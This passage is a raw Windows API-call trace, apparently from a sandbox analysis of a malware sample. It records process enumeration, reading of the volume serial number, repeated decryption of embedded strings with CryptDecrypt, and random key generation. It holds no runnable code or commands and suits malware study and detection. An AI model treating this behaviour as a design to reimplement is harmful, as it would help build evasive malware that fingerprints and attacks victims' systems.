out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.270] GetLastError () returned 0x12 [0059.270] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.271] GetLastError () returned 0x12 [0059.271] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.272] GetLastError () returned 0x12 [0059.272] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.273] GetLastError () returned 0x12 [0059.273] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.273] GetLastError () returned 0x12 [0059.273] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.274] GetLastError () returned 0x12 [0059.274] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.275] GetLastError () returned 0x12 [0059.275] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.276] GetLastError () returned 0x12 [0059.276] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.276] GetLastError () returned 0x12 [0059.276] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] GetLastError () returned 0x12 [0059.277] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.278] GetLastError () returned 0x12 [0059.278] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.278] GetLastError () returned 0x12 [0059.278] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.279] GetLastError () returned 0x12 [0059.279] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.280] GetLastError () returned 0x12 [0059.280] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.280] GetLastError () returned 0x12 [0059.280] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.281] GetLastError () returned 0x12 [0059.281] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.282] GetLastError () returned 0x12 [0059.282] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.282] GetLastError () returned 0x12 [0059.282] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.283] GetLastError () returned 0x12 [0059.283] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.284] GetLastError () returned 0x12 [0059.284] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.284] GetLastError () returned 0x12 [0059.284] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.285] GetLastError () returned 0x12 [0059.285] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0059.286] GetLastError () returned 0x12 [0059.286] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0059.287] GetLastError () returned 0x12 [0059.287] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0059.287] GetLastError () returned 0x12 [0059.287] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0059.288] GetLastError () returned 0x12 [0059.288] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0059.289] GetLastError () returned 0x12 [0059.289] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0059.289] GetLastError () returned 0x12 [0059.289] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0059.290] GetLastError () returned 0x12 [0059.290] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0059.291] GetLastError () returned 0x12 [0059.291] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0059.291] GetLastError () returned 0x12 [0059.291] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0059.292] GetLastError () returned 0x12 [0059.292] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0059.293] GetLastError () returned 0x12 [0059.293] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0059.293] GetLastError () returned 0x12 [0059.294] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0059.294] GetLastError () returned 0x12 [0059.294] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0059.295] GetLastError () returned 0x12 [0059.295] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0059.296] GetLastError () returned 0x12 [0059.296] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0059.296] GetLastError () returned 0x12 [0059.296] Process32NextW (in: hSnapshot=0xfc, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0059.297] GetLastError () returned 0x12 [0059.297] Process32NextW (hSnapshot=0xfc, lppe=0x292f5f4) Thread: id = 52 os_tid = 0xbdc [0046.829] GetLogicalDrives () returned 0x4 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86370 [0046.829] CryptImportKey (in: hProv=0x585138, pbData=0x27df7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df838 | out: phKey=0x27df838*=0x58b138) returned 1 [0046.829] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df820, dwFlags=0x0) returned 1 [0046.829] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86370, pdwDataLen=0x27df7ec | out: pbData=0xb86370, pdwDataLen=0x27df7ec) returned 1 [0046.829] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb88e60 [0046.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x124 [0046.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x128 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb88e90 [0046.829] CryptImportKey (in: hProv=0x585138, pbData=0x27df79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df804 | out: phKey=0x27df804*=0x58b138) returned 1 [0046.829] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df7ec, dwFlags=0x0) returned 1 [0046.829] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb88e90, pdwDataLen=0x27df7b8 | out: pbData=0xb88e90, pdwDataLen=0x27df7b8) returned 1 [0046.829] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb88eb8 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb88ee0 [0046.829] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb88f08 [0046.829] CryptImportKey (in: hProv=0x585138, pbData=0x27df774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df7dc | out: phKey=0x27df7dc*=0x58b138) returned 1 [0046.829] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df7c4, dwFlags=0x0) returned 1 [0046.829] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb88f08, pdwDataLen=0x27df790 | out: pbData=0xb88f08, pdwDataLen=0x27df790) returned 1 [0046.830] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.830] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88f08 | out: hHeap=0xb80000) returned 1 [0046.830] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb88eb8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.830] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88ee0 | out: hHeap=0xb80000) returned 1 [0046.830] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88e90 | out: hHeap=0xb80000) returned 1 [0046.830] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x27df844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x27df844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.830] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88eb8 | out: hHeap=0xb80000) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81550 [0046.830] CryptImportKey (in: hProv=0x585138, pbData=0x27df6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df748 | out: phKey=0x27df748*=0x58b138) returned 1 [0046.830] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df730, dwFlags=0x0) returned 1 [0046.830] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81550, pdwDataLen=0x27df6fc | out: pbData=0xb81550, pdwDataLen=0x27df6fc) returned 1 [0046.830] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb863b8 [0046.830] CryptImportKey (in: hProv=0x585138, pbData=0x27df6d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df740 | out: phKey=0x27df740*=0x58b138) returned 1 [0046.830] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df728, dwFlags=0x0) returned 1 [0046.830] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb863b8, pdwDataLen=0x27df6f4 | out: pbData=0xb863b8, pdwDataLen=0x27df6f4) returned 1 [0046.830] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.830] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb88e90 [0046.830] CryptImportKey (in: hProv=0x585138, pbData=0x27df6d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df738 | out: phKey=0x27df738*=0x58b138) returned 1 [0046.830] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df720, dwFlags=0x0) returned 1 [0046.831] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb88e90, pdwDataLen=0x27df6ec | out: pbData=0xb88e90, pdwDataLen=0x27df6ec) returned 1 [0046.831] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.831] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb88ea8 [0046.831] CryptImportKey (in: hProv=0x585138, pbData=0x27df6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df730 | out: phKey=0x27df730*=0x58b138) returned 1 [0046.831] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df718, dwFlags=0x0) returned 1 [0046.831] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb88ea8, pdwDataLen=0x27df6e4 | out: pbData=0xb88ea8, pdwDataLen=0x27df6e4) returned 1 [0046.831] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.831] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb88f40 [0046.831] CryptImportKey (in: hProv=0x585138, pbData=0x27df6c0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x27df728 | out: phKey=0x27df728*=0x58b138) returned 1 [0046.831] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x27df710, dwFlags=0x0) returned 1 [0046.831] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb88f40, pdwDataLen=0x27df6dc | out: pbData=0xb88f40, pdwDataLen=0x27df6dc) returned 1 [0046.831] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.831] htonl (hostlong=0x9c354b42) returned 0x424b359c [0046.831] CryptGenRandom (in: hProv=0x585138, dwLen=0x20, pbBuffer=0x27df7f0 | out: pbBuffer=0x27df7f0) returned 1 [0046.831] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x28) returned 0xb88f58 [0046.831] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb88f88 [0046.831] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0xb81528 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x14) returned 0xb88fa0 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb88fc0 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb86488 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb86510 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb86528 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb865b8 [0046.832] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0xb88fd8 [0046.832] CryptAcquireContextW (in: phProv=0x12afcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x12afcf4*=0x58bbe0) returned 1 [0046.833] CryptGenRandom (in: hProv=0x58bbe0, dwLen=0x55, pbBuffer=0x27df772 | out: pbBuffer=0x27df772) returned 1 [0046.833] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb865d0 [0046.833] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb865e8 [0046.833] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb86670 [0046.833] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x2) returned 0xb87520 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0xb87530 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb87540 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x80) returned 0xb87558 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb857f0 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x4) returned 0xb875e0 [0046.835] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb87520, Size=0x82) returned 0xb875f0 [0046.835] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb875e0, Size=0x100) returned 0xb8cd08 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85808 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb87680 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb85820 [0046.835] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x82) returned 0xb8ce10 [0046.835] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb875f0, Size=0x104) returned 0xb8cea0 [0046.835] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb8cd08, Size=0x200) returned 0xb85fd8 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87530 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85fd8 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb857f0 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865e8 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865d0 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87558 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87540 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb8cea0 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86670 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87680 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85808 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb8ce10 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85820 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81528 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88f88 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86528 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86510 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86488 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88fc0 | out: hHeap=0xb80000) returned 1 [0046.836] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88fd8 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865b8 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88f58 | out: hHeap=0xb80000) returned 1 [0046.837] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb88fa0 | out: hHeap=0xb80000) returned 1 [0046.837] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xa4) returned 0xb86488 [0046.837] HeapFree (in: 